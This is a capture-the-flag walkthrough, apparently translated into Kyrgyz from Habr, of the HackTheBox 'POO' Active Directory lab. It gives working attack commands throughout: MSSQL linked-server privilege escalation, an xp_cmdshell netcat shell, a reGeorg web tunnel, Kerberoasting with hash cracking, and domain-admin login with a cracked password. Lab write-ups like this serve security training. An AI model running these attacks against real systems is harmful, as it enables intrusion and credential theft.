HackTheBoxendgame. Профессионалдык чабуул операцияларынын лабораториясынан өтүү. Pentest Active Directory

HackTheBoxendgame. Профессионалдык чабуул операцияларынын лабораториясынан өтүү. Pentest Active Directory

Бул макалада биз жөн гана машина эмес, бүтүндөй бир мини-лабораториянын сайттан өтүшүн талдайбыз HackTheBox.

Сүрөттөмөдө айтылгандай, POO кичинекей Active Directory чөйрөсүндө чабуулдардын бардык баскычтарында көндүмдөрдү текшерүү үчүн иштелип чыккан. Максаты - жеткиликтүү хостту бузуу, артыкчылыктарды жогорулатуу жана акырында 5 желекти чогултуу менен бүт доменди бузуу.

Лабораторияга туташуу VPN аркылуу. Жумушчу компьютерден же сиз үчүн маанилүү маалыматтар бар хосттон туташпоо сунушталат, анткени сиз маалымат коопсуздугу жаатында бир нерсени билген адамдар менен жеке тармакта болосуз :)

Уюштуруу маалыматы
Жаңы макалалар, программалык камсыздоо жана башка маалыматтар менен кабардар болуп турууга жардам берүү үчүн мен түздүм Телеграм каналы и кандайдыр бир маселелерди талкуулоо үчүн топ I&KB тармагында. Ошондой эле жеке суроо-талаптарыңыз, суроолоруңуз, сунуштарыңыз жана сунуштарыңыз Мен муну жеке карап чыгып, баарына жооп берем..

Бардык маалыматтар билим берүү максатында гана берилген. Бул документтин автору бул документти изилдөөдөн алынган билимдерди жана ыкмаларды колдонуунун натыйжасында эч кимге келтирилген зыян үчүн эч кандай жоопкерчиликти албайт.

Intro

Бул акыркы оюн эки машинадан турат жана 5 желекти камтыйт.

HackTheBoxendgame. Профессионалдык чабуул операцияларынын лабораториясынан өтүү. Pentest Active Directory

Жеткиликтүү хосттун сүрөттөлүшү жана дареги да берилет.

HackTheBoxendgame. Профессионалдык чабуул операцияларынын лабораториясынан өтүү. Pentest Active Directory

Баштайлы!

Recon желеги

Бул машинанын 10.13.38.11 IP дареги бар, мен аны /etc/hosts дарегине кошом.
10.13.38.11 poo.htb

Биринчиден, биз ачык портторду сканерлейбиз. Бардык портторду nmap менен сканерлөө көп убакытты талап кылгандыктан, мен муну адегенде masscan аркылуу жасайм. Биз tun0 интерфейсинен бардык TCP жана UDP портторун секундасына 500 пакет ылдамдыкта сканерлейбиз.

sudo masscan -e tun0 -p1-65535,U:1-65535 10.13.38.11 --rate=500

HackTheBoxendgame. Профессионалдык чабуул операцияларынын лабораториясынан өтүү. Pentest Active Directory

Эми, порттордо иштеген кызматтар жөнүндө көбүрөөк маалымат алуу үчүн, келгиле, -A опциясы менен сканерлейли.

nmap -A poo.htb -p80,1433

HackTheBoxendgame. Профессионалдык чабуул операцияларынын лабораториясынан өтүү. Pentest Active Directory

Ошентип, бизде IIS жана MSSQL кызматтары бар. Бул учурда, биз домендин жана компьютердин чыныгы DNS атын табабыз. Веб серверде бизди IIS башкы бети тосуп алат.

HackTheBoxendgame. Профессионалдык чабуул операцияларынын лабораториясынан өтүү. Pentest Active Directory

Келгиле, каталогдорду карап көрөлү. Мен бул үчүн gobuster колдоном. Параметрлерде биз жиптердин санын 128 (-t), URL (-u), сөздүк (-w) жана бизди кызыктырган кеңейтүүлөрдү (-x) көрсөтөбүз.

gobuster dir -t 128 -u poo.htb -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,aspx,html

HackTheBoxendgame. Профессионалдык чабуул операцияларынын лабораториясынан өтүү. Pentest Active Directory

Бул бизге /admin каталогу үчүн HTTP аутентификациясын, ошондой эле .DS_Store файлына жеткиликтүү иш такта кызматын берет. .DS_Store файлдар тизмеси, сөлөкөтүн жайгашкан жерлери жана тандалган фон сүрөтү сыяктуу папка үчүн ыңгайлаштырылган орнотууларды сактаган файлдар. Мындай файл веб-иштеп чыгуучулардын веб-сервер каталогуна түшүп калышы мүмкүн. Ушундай жол менен биз каталогдун мазмуну жөнүндө маалымат алабыз. Бул үчүн сиз колдоно аласыз DS_Store жөрмөлөгүч.

python3 dsstore_crawler.py -i http://poo.htb/

HackTheBoxendgame. Профессионалдык чабуул операцияларынын лабораториясынан өтүү. Pentest Active Directory

Биз каталогдун мазмунун алабыз. Бул жерде эң кызыктуу нерсе - бул /dev каталогу, андан биз булактарды жана db файлдарын эки бутакта карай алабыз. Бирок, эгерде кызмат IIS ShortName үчүн аялуу болсо, биз файлдын жана каталогдун аталыштарынын алгачкы 6 символун колдоно алабыз. Сиз бул кемчиликти колдонуп текшере аласыз IIS кыска аты сканери.

HackTheBoxendgame. Профессионалдык чабуул операцияларынын лабораториясынан өтүү. Pentest Active Directory

Жана биз "poo_co" менен башталган бир текст файлын табабыз. Эми эмне кыларымды билбей, каталог сөздүгүнөн “ко” менен башталган сөздөрдүн баарын тандап алдым.

cat /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt | grep -i "^co" > co_words.txt

Жана биз аны wfuzz аркылуу иргейбиз.

wfuzz -w ./co_words.txt -u "http://poo.htb/dev/dca66d38fd916317687e1390a420c3fc/db/poo_FUZZ.txt" --hc 404

HackTheBoxendgame. Профессионалдык чабуул операцияларынын лабораториясынан өтүү. Pentest Active Directory

Жана биз туура сөздү табабыз! Биз бул файлды карап, эсептик дайындарды сактайбыз (DBNAME параметри боюнча, алар MSSQLден).

HackTheBoxendgame. Профессионалдык чабуул операцияларынын лабораториясынан өтүү. Pentest Active Directory

Биз желекти тапшырып, 20% алдыга жылабыз.

HackTheBoxendgame. Профессионалдык чабуул операцияларынын лабораториясынан өтүү. Pentest Active Directory

Эх желек

Биз MSSQL менен байланышабыз, мен DBeaver колдоном.

HackTheBoxendgame. Профессионалдык чабуул операцияларынын лабораториясынан өтүү. Pentest Active Directory

Биз бул маалымат базасынан кызыктуу эч нерсе таба алган жокпуз, SQL Редакторун түзүп, кандай колдонуучулар бар экенин текшерип көрөлү.

SELECT name FROM master..syslogins;

HackTheBoxendgame. Профессионалдык чабуул операцияларынын лабораториясынан өтүү. Pentest Active Directory

Бизде эки колдонуучу бар. Келгиле, артыкчылыктарыбызды текшерип көрөлү.

SELECT is_srvrolemember('sysadmin'), is_srvrolemember('dbcreator'), is_srvrolemember('bulkadmin'), is_srvrolemember('diskadmin'), is_srvrolemember('processadmin'), is_srvrolemember('serveradmin'), is_srvrolemember('setupadmin'), is_srvrolemember('securityadmin');

HackTheBoxendgame. Профессионалдык чабуул операцияларынын лабораториясынан өтүү. Pentest Active Directory

Ошентип, эч кандай артыкчылыктар жок. Шилтемеленген серверлерди карап көрөлү, мен бул техника жөнүндө майда-чүйдөсүнө чейин жаздым бул жерде.

SELECT * FROM master..sysservers;

HackTheBoxendgame. Профессионалдык чабуул операцияларынын лабораториясынан өтүү. Pentest Active Directory

Бул дагы бир SQL Server табабыз. Келгиле, openquery() аркылуу бул серверде буйруктардын аткарылышын текшерип көрөлү.

SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'select @@version as version');

HackTheBoxendgame. Профессионалдык чабуул операцияларынын лабораториясынан өтүү. Pentest Active Directory

Ал тургай, биз суроо дарагын кура алабыз.

SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT version FROM openquery("COMPATIBILITYPOO_PUBLIC", ''select @@version as version'');');

Кеп, биз шилтемеленген серверге суроо-талап кылганыбызда, суроо-талап башка колдонуучунун контекстинде аткарылат! Келгиле, шилтемеленген серверде кайсы колдонуучунун контекстинде иштеп жатканыбызды карап көрөлү.

SELECT name FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT user_name() as name');

HackTheBoxendgame. Профессионалдык чабуул операцияларынын лабораториясынан өтүү. Pentest Active Directory

Эми биздикине байланышкан серверден сурам кандай контекстте жасалганын карап көрөлү!

SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT name FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT user_name() as name'');');

HackTheBoxendgame. Профессионалдык чабуул операцияларынын лабораториясынан өтүү. Pentest Active Directory

Ошентип, DBO контексти бардык артыкчылыктарга ээ болушу керек. Шилтемеленген серверден суроо келип түшкөн учурда артыкчылыктарды текшерип көрөлү.

SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT * FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT is_srvrolemember(''''sysadmin''''), is_srvrolemember(''''dbcreator''''), is_srvrolemember(''''bulkadmin''''), is_srvrolemember(''''diskadmin''''), is_srvrolemember(''''processadmin''''), is_srvrolemember(''''serveradmin''''), is_srvrolemember(''''setupadmin''''), is_srvrolemember(''''securityadmin'''')'')');

HackTheBoxendgame. Профессионалдык чабуул операцияларынын лабораториясынан өтүү. Pentest Active Directory

Көрүнүп тургандай, бизде бардык артыкчылыктар бар! Ушинтип өзүбүздүн админ түзөлү. Бирок алар ачык суроо аркылуу уруксат бербейт, келгиле, EXECUTE AT аркылуу жасайлы.

EXECUTE('EXECUTE(''CREATE LOGIN [ralf] WITH PASSWORD=N''''ralfralf'''', DEFAULT_DATABASE=[master], CHECK_EXPIRATION=OFF, CHECK_POLICY=OFF'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''CREATE USER [ralf] FOR LOGIN [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER SERVER ROLE [sysadmin] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER ROLE [db_owner] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";

Ал эми азыр биз жаңы колдонуучунун эсептик маалыматтары менен байланышып, жаңы желек базасын байкап жатабыз.

HackTheBoxendgame. Профессионалдык чабуул операцияларынын лабораториясынан өтүү. Pentest Active Directory

Биз бул желекти тапшырып, улантабыз.

HackTheBoxendgame. Профессионалдык чабуул операцияларынын лабораториясынан өтүү. Pentest Active Directory

BackTrack желеги

MSSQL аркылуу кабык алалы, мен импакет пакетинен mssqlclient колдоном.

mssqlclient.py ralf:[email protected] -db POO_PUBLIC

HackTheBoxendgame. Профессионалдык чабуул операцияларынын лабораториясынан өтүү. Pentest Active Directory

Биз сырсөздөрдү алышыбыз керек жана биз буга чейин жолуккан биринчи нерсе бул веб-сайт. Ошентип, бизге веб-сервер конфигурациясы керек (бул ыңгайлуу кабык калтыруу мүмкүн эмес, сыягы, брандмауэр иштеп жатат).

HackTheBoxendgame. Профессионалдык чабуул операцияларынын лабораториясынан өтүү. Pentest Active Directory

Бирок кирүүгө тыюу салынган. Биз MSSQLден файлды окуй алсак да, кандай программалоо тилдери конфигурацияланганын билишибиз керек. Жана MSSQL каталогунда биз Python бар экенин билебиз.

HackTheBoxendgame. Профессионалдык чабуул операцияларынын лабораториясынан өтүү. Pentest Active Directory

Анда web.config файлын окууда эч кандай көйгөй болбойт.

EXEC sp_execute_external_script
@language = N'Python',
@script = "print(open('C:inetpubwwwrootweb.config').read())"

HackTheBoxendgame. Профессионалдык чабуул операцияларынын лабораториясынан өтүү. Pentest Active Directory

Табылган эсептик маалыматтар менен, /adminге барып, желекти алыңыз.

HackTheBoxendgame. Профессионалдык чабуул операцияларынын лабораториясынан өтүү. Pentest Active Directory

HackTheBoxendgame. Профессионалдык чабуул операцияларынын лабораториясынан өтүү. Pentest Active Directory

Аяк желек

Чындыгында, брандмауэрди колдонууда кээ бир ыңгайсыздыктар бар, бирок тармак жөндөөлөрүн карап көрсөк, биз IPv6 да колдонулганын байкайбыз!

HackTheBoxendgame. Профессионалдык чабуул операцияларынын лабораториясынан өтүү. Pentest Active Directory

Бул даректи /etc/hosts дарегине кошолу.
dead:babe::1001 poo6.htb
Келгиле, хостту кайрадан сканерлейли, бирок IPv6 протоколун колдонуп.

HackTheBoxendgame. Профессионалдык чабуул операцияларынын лабораториясынан өтүү. Pentest Active Directory

Ал эми WinRM кызматы IPv6 аркылуу жеткиликтүү. Келгиле, табылган эсептик маалыматтар менен байланышалы.

HackTheBoxendgame. Профессионалдык чабуул операцияларынын лабораториясынан өтүү. Pentest Active Directory

Иш столунда желек бар, аны тапшырабыз.

HackTheBoxendgame. Профессионалдык чабуул операцияларынын лабораториясынан өтүү. Pentest Active Directory

П00ланган желек

колдонуу менен хост боюнча чалгындоо жүргүзүү кийин шарап Биз өзгөчө эч нерсе таппайбыз. Андан кийин ишеним грамоталарын кайра издөөнү чечишти (мен дагы ушул темада жаздым макала). Бирок мен WinRM аркылуу системадан бардык SPNлерди ала алган жокмун.

setspn.exe -T intranet.poo -Q */*

HackTheBoxendgame. Профессионалдык чабуул операцияларынын лабораториясынан өтүү. Pentest Active Directory

Келгиле, MSSQL аркылуу буйрукту иштетели.

HackTheBoxendgame. Профессионалдык чабуул операцияларынын лабораториясынан өтүү. Pentest Active Directory

Бул ыкманы колдонуу менен биз p00_hr жана p00_adm колдонуучуларынын SPNсин алабыз, бул алар Kerberoasting сыяктуу чабуулга алсыз экенин билдирет. Кыскача айтканда, биз алардын сырсөз хэштерин ала алабыз.

Алгач сиз MSSQL колдонуучусу катары туруктуу кабык алышыңыз керек. Бирок мүмкүнчүлүгүбүз чектелүү болгондуктан, биз хост менен 80 жана 1433 порттору аркылуу гана байланыша алабыз. Бирок 80-порт аркылуу трафикти туннельдештирүү мүмкүн! Бул үчүн биз колдонобуз төмөнкү колдонмо. Tunel.aspx файлын веб-сервердин үй каталогуна жүктөйбүз - C:inetpubwwwroot.

HackTheBoxendgame. Профессионалдык чабуул операцияларынын лабораториясынан өтүү. Pentest Active Directory

Бирок биз ага кирүүгө аракет кылганда 404 катасын алабыз.Бул *.aspx файлдары аткарылбай калганын билдирет. Бул кеңейтүүлөр менен файлдар аткарылышы үчүн, ASP.NET 4.5ти төмөнкүдөй орнотуңуз.

dism /online /enable-feature /all /featurename:IIS-ASPNET45

HackTheBoxendgame. Профессионалдык чабуул операцияларынын лабораториясынан өтүү. Pentest Active Directory

HackTheBoxendgame. Профессионалдык чабуул операцияларынын лабораториясынан өтүү. Pentest Active Directory

Ал эми азыр, биз tunnel.aspx киргенде, биз баары барууга даяр деген жооп алабыз.

HackTheBoxendgame. Профессионалдык чабуул операцияларынын лабораториясынан өтүү. Pentest Active Directory

Келгиле, трафикти өткөрө турган колдонмонун кардар бөлүгүн ишке киргизели. Биз бардык трафикти 5432 портунан серверге жөнөтөбүз.

python ./reGeorgSocksProxy.py -p 5432 -u http://poo.htb/tunnel.aspx

HackTheBoxendgame. Профессионалдык чабуул операцияларынын лабораториясынан өтүү. Pentest Active Directory

Жана биз прокси аркылуу каалаган тиркеменин трафигин жөнөтүү үчүн прокси чейндерди колдонобуз. Келгиле, бул проксиди /etc/proxychains.conf конфигурация файлына кошолу.

HackTheBoxendgame. Профессионалдык чабуул операцияларынын лабораториясынан өтүү. Pentest Active Directory

Эми программаны серверге жүктөйбүз netcat, анын жардамы менен биз туруктуу байланыш кабыгын жана сценарийин жасайбыз Invoke-Kerberoast, анын жардамы менен биз Kerberoasting чабуулун жасайбыз.

HackTheBoxendgame. Профессионалдык чабуул операцияларынын лабораториясынан өтүү. Pentest Active Directory

Эми биз угуучуну MSSQL аркылуу ишке киргизебиз.

xp_cmdshell C:tempnc64.exe -e powershell.exe -lvp 4321

HackTheBoxendgame. Профессионалдык чабуул операцияларынын лабораториясынан өтүү. Pentest Active Directory

Жана прокси аркылуу байланышабыз.

proxychains rlwrap nc poo.htb 4321

HackTheBoxendgame. Профессионалдык чабуул операцияларынын лабораториясынан өтүү. Pentest Active Directory

Жана хэштерди алалы.

. .Invoke-Kerberoast.ps1
Invoke-Kerberoast -erroraction silentlycontinue -OutputFormat Hashcat | Select-Object Hash | Out-File -filepath 'C:tempkerb_hashes.txt' -Width 8000
type kerb_hashes.txt

HackTheBoxendgame. Профессионалдык чабуул операцияларынын лабораториясынан өтүү. Pentest Active Directory

Андан кийин сиз бул хэштерди кайталашыңыз керек. Rockyou сөздүгүндө бул сырсөздөр жок болгондуктан, мен Seclists'те берилген БАРДЫК сырсөз сөздүктөрүн колдондум. Издөө үчүн биз hashcat колдонобуз.

hashcat -a 0 -m 13100 krb_hashes.txt /usr/share/seclists/Passwords/*.txt --force

Жана биз эки сырсөздү тең табабыз, биринчиси dutch_passwordlist.txt сөздүгүнөн, экинчиси Keyboard-Combinations.txt'тен.

HackTheBoxendgame. Профессионалдык чабуул операцияларынын лабораториясынан өтүү. Pentest Active Directory

HackTheBoxendgame. Профессионалдык чабуул операцияларынын лабораториясынан өтүү. Pentest Active Directory

Ошентип, бизде үч колдонуучу бар, келгиле домен контроллерине баралы. Алгач анын дарегин билебиз.

HackTheBoxendgame. Профессионалдык чабуул операцияларынын лабораториясынан өтүү. Pentest Active Directory

Жакшы, биз домен контролерунун IP дарегин билдик. Келгиле, домендин бардык колдонуучуларын, ошондой эле алардын кайсынысы администратор экенин билели. PowerView.ps1 маалымат алуу үчүн скрипт жүктөп алуу. Андан кийин биз -s параметриндеги скрипт менен каталогду көрсөтүп, evil-winrm аркылуу байланышабыз. Анан биз жөн гана PowerView скриптин жүктөйбүз.

HackTheBoxendgame. Профессионалдык чабуул операцияларынын лабораториясынан өтүү. Pentest Active Directory

Эми биз анын бардык функцияларына кире алдык. p00_adm колдонуучусу артыкчылыктуу колдонуучуга окшош, ошондуктан биз анын контекстинде иштейбиз. Бул колдонуучу үчүн PSCredential объектисин түзөлү.

$User = 'p00_adm'
$Password = 'ZQ!5t4r'
$Cpass = ConvertTo-SecureString -AsPlainText $Password -force
$Creds = New-Object System.Management.Automation.PSCredential -ArgumentList $User,$Cpass

Эми биз Creds белгилеген бардык Powershell буйруктары p00_adm катары аткарылат. Келгиле, колдонуучулардын тизмесин жана AdminCount атрибутун көрсөтөлү.

Get-NetUser -DomainController dc -Credential $Creds | select name,admincount

HackTheBoxendgame. Профессионалдык чабуул операцияларынын лабораториясынан өтүү. Pentest Active Directory

Ошентип, биздин колдонуучу чындап артыкчылыкка ээ. Анын кандай топтордо экенин карап көрөлү.

Get-NetGroup -UserName "p00_adm" -DomainController dc -Credential $Creds

HackTheBoxendgame. Профессионалдык чабуул операцияларынын лабораториясынан өтүү. Pentest Active Directory

Акыры, колдонуучунун домен администратору экенин ырастайбыз. Бул ага домен контроллерине алыстан кирүү укугун берет. Келгиле, биздин туннелди колдонуп WinRM аркылуу кирүүгө аракет кылалы. Evil-winrm колдонууда reGeorg чыгарган каталар мени чаташтырды.

HackTheBoxendgame. Профессионалдык чабуул операцияларынын лабораториясынан өтүү. Pentest Active Directory

Анда келгиле, башка, жеңилин колдонолу, скрипт WinRM менен туташуу үчүн. Келгиле, байланыш параметрлерин ачып, өзгөртөлү.

HackTheBoxendgame. Профессионалдык чабуул операцияларынын лабораториясынан өтүү. Pentest Active Directory

Биз туташууга аракет кылып жатабыз жана системадабыз.

HackTheBoxendgame. Профессионалдык чабуул операцияларынын лабораториясынан өтүү. Pentest Active Directory

Бирок желек жок. Андан кийин колдонуучуну карап, иш такталарын текшериңиз.

HackTheBoxendgame. Профессионалдык чабуул операцияларынын лабораториясынан өтүү. Pentest Active Directory

Биз mr3ks желегин табабыз жана лаборатория 100% бүттү.

HackTheBoxendgame. Профессионалдык чабуул операцияларынын лабораториясынан өтүү. Pentest Active Directory

Баары болду. Пикир катары, бул макаладан жаңы нерсе үйрөндүңүзбү жана ал сизге пайдалуу болдубу деп комментарий бериңиз.

Бизге кошулсаңыз болот телеграмма. Ал жерден кызыктуу материалдарды, ачыкка чыккан курстарды, ошондой эле программалык камсыздоону таба аласыз. Келгиле, коомчулукту чогулталы, анда ITтин көп тармактарын түшүнгөн адамдар бар, ошондо биз ар дайым IT жана маалыматтык коопсуздук маселелери боюнча бири-бирибизге жардам бере алабыз.

Source: www.habr.com

Комментарий кошуу